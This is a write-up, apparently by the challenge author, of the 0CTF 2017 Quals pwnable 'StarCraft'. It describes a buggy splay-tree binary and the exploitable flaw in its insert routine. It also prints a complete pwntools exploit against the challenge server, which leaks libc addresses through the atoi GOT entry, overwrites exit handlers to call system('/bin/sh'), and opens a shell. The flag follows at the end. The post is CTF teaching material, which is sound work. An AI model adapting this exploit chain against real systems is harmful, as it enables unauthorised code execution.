[关闭]
@SmashStack 2017-06-03T16:04:52.000000Z 字数 6311 阅读 2385

0CTF 2017 Quals: StarCraft (Pwnable 1000pt)

CTF


One word that has been said before

Actually, it's really shocked and embarrassed that there is no solution for StarCraft in 0CTF 2017 Quals. I have been looking forward to the first blood in the whole second day, however, sadly, not a happy ending.

After game, I made a deep self-examination for such a situation. Maybe I ignore the difficulty of reversing manual data structure (for which I should have provided the unstripped binary). Or maybe I made a huge misleading on the intended unexploitable UAF, leading many pwners wasted too much time and ignored the real one. obviously, a great improvement is needed next time.

StarCraft is designed for testing the ability of vulnerability hunting rather than vulnerability exploitation. I try to simulate a real software with many bugs, some of which are exploitable and the others are not. Unlike some other pwnable challenges, the bugs in StarCraft, none of which is made on purpose, are all from the process of my coding. As a result, you could not only look for vulnerabilities, such as stack overflow and uninitialized variables, in routine. You should go deep, and avoid being fooled by the bad vulnerability.

Task Description

Lonely, a REAL soldier should face StarCraft BY HIMSELF.
nc 202.120.7.212 12321
binary
libc.so.6

Followings are some hints:

Hint: Do you know Splay and Segment tree?
Hint2: It's a bad splay tree filled with vulns. Do not concentrate on the unexploitable ones.

Binary Analyse

The binary maintains a splay tree which supports interval operations. It may also be regarded as a variant of segment tree, I think in some way. You could find more specific information about this kind of data structure from this link (I have tried my best to find some suitable material from Google, and this seems like the one matches most).

In StarCraft, there are two kinds of nodes in the tree:

Only Normal Node could contain data. Following is the structure definition:

  1. struct node{
  2. struct node* lson;
  3. struct node* rson;
  4. struct node* father;
  5. char *name;
  6. char *nickname;
  7. int *total;
  8. int id;
  9. int max;
  10. int min;
  11. int HP;
  12. int lazy_hp; // lazy tag for hp change
  13. int lazy_id; // lazy tag for id change
  14. };

Thus, A tree may look like:

image_1bbsbbin615m9vgukrm0s1r1gs.png-22.5kB
(A splay tree containing four robots' data)

Also, you could have some operations in StarCraft:

Any robot with zero HP would be removed, and the id of robots should be continuous starting from zero. If the tree was empty, StarCraft calls exit()

Exploitable "Insert"

The insert operation on this splay is really odd, for the strange GC Call in the basicInsert(). Now we come to the code to see the vulnerability.

  1. void basicInsert(struct node* father, struct node* victim)
  2. {
  3. if (head != father){
  4. splay(head, father);
  5. if (head->lson == father)
  6. Rrotota(father);
  7. else
  8. Lrotota(father);
  9. }
  10. //else{
  11. // pushLazy(head);
  12. // fresh(head);
  13. //}Attention! Attack Face
  14. clear(head);
  15. head->rson = victim;
  16. victim->father = head;
  17. fresh(head);
  18. return;
  19. }

If father is equal to head, and it has a lazy_hp tag. Inserting two robots with 1 HP will trigger the vulnerability:

Here, we come to the idea to bash StarCraft:

There are some other restrictions we should bypass, such as that any lazy_id tag should not be pushed on the Leaf_Null node, but not the point and not much difficult. So I leave them out. Following is my EXP script.

  1. #!/usr/bin/env python
  2. # coding=utf-8
  3. from pwn import *
  4. from pwnlib.log import *
  5. port = 12321
  6. service = 'StarCraft'
  7. timeout = 30
  8. author = "iZhuer"
  9. def output(name, data):
  10. info(name + ': %#x', data)
  11. def lmov(data):
  12. bit = data >> 31
  13. data = data << 1;
  14. data = (data | bit) & 0xffffffff
  15. return data
  16. def exploit(ip):
  17. r = remote(ip, port)
  18. e = ELF('./StarCraft')
  19. ###################### exp starts here #####################
  20. map(r.sendline, ['1', '24', "aaaaaa"])
  21. r.recvuntil('Menu')
  22. # Login with a different size than the node chunk
  23. for i in xrange(9):
  24. map(r.sendline, ['6', '1', str(9 - i), str(9 - i), 'y'])
  25. r.recvuntil('Menu')
  26. # kill nine robots and leave a lonely one
  27. # (now please come to the task description, it's also a hint :P)
  28. # Avoid pushing any lazy_id tag
  29. map(r.sendline, ['3', '0', '0'])
  30. r.recvuntil('Menu')
  31. # Add a laze_hp tag on the head
  32. map(r.sendline, ['5', '2', '1', 'zz'])
  33. r.recvuntil('Menu')
  34. # Trigger the vulnerability
  35. # id: 0 2
  36. for i in xrange(7):
  37. map(r.sendline, ['4', '1', '1'])
  38. r.recvuntil('Menu')
  39. # Increase fake robot HP (Leaf_Null)
  40. map(r.sendline, ['6', '1', '0', '0', 'y'])
  41. r.recvuntil('Menu')
  42. # Remove robot 0
  43. # id: 1
  44. map(r.sendline, ['6', '1', '0', '0', 'y'])
  45. r.recvuntil('Menu')
  46. # Remove the fake robot to free Leaf_Null node
  47. # id: 1 (Leaf_Null father is not robot 1)
  48. map(r.sendline, ['2', '32', p32(0x804cffc) + p32(0x1) + p32(0) * 5])
  49. r.recvuntil('Menu')
  50. # Rename to reuse the Leaf_Null chunk
  51. # Write some pointers (point to atoi GOT Table)
  52. map(r.sendline, ['6', '2', '0'])
  53. r.recvuntil("a version ")
  54. atoi_addr = u32(r.recv(4))
  55. output("atoi_addr", atoi_addr)
  56. system_addr = atoi_addr - 0x0002f850 + 0x0003e3e0
  57. output("system_addr", system_addr)
  58. binsh_addr = atoi_addr - 0x0002f850 + 0x15f551
  59. output("binsh_addr", binsh_addr)
  60. xor_addr = atoi_addr - 0x30138
  61. output("xor_addr", xor_addr)
  62. exit_funcs_addr = atoi_addr + 0x17a990
  63. output("exit_funcs_addr", exit_funcs_addr)
  64. r.recvuntil('Menu')
  65. # Info Leak
  66. target_data = system_addr
  67. output("target_data", target_data)
  68. for i in xrange(9):
  69. target_data = lmov(target_data)
  70. output("target_data", target_data)
  71. map(r.sendline, ['2', '32', p32(binsh_addr) + p32(exit_funcs_addr + 0xc) + p32(xor_addr)])
  72. r.recvuntil('war!\n')
  73. r.sendline('0')
  74. r.recvuntil('nickname\n')
  75. r.sendline(p32(target_data) + p32(binsh_addr))
  76. # Rename again, and change the exit_function_list
  77. r.interactive()
  78. ######################### exp ends #########################
  79. if __name__ == "__main__":
  80. exploit('202.120.7.212')

flag{5Pl4y_h45_m4Ny_cR4zy_l4zy_7465}

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注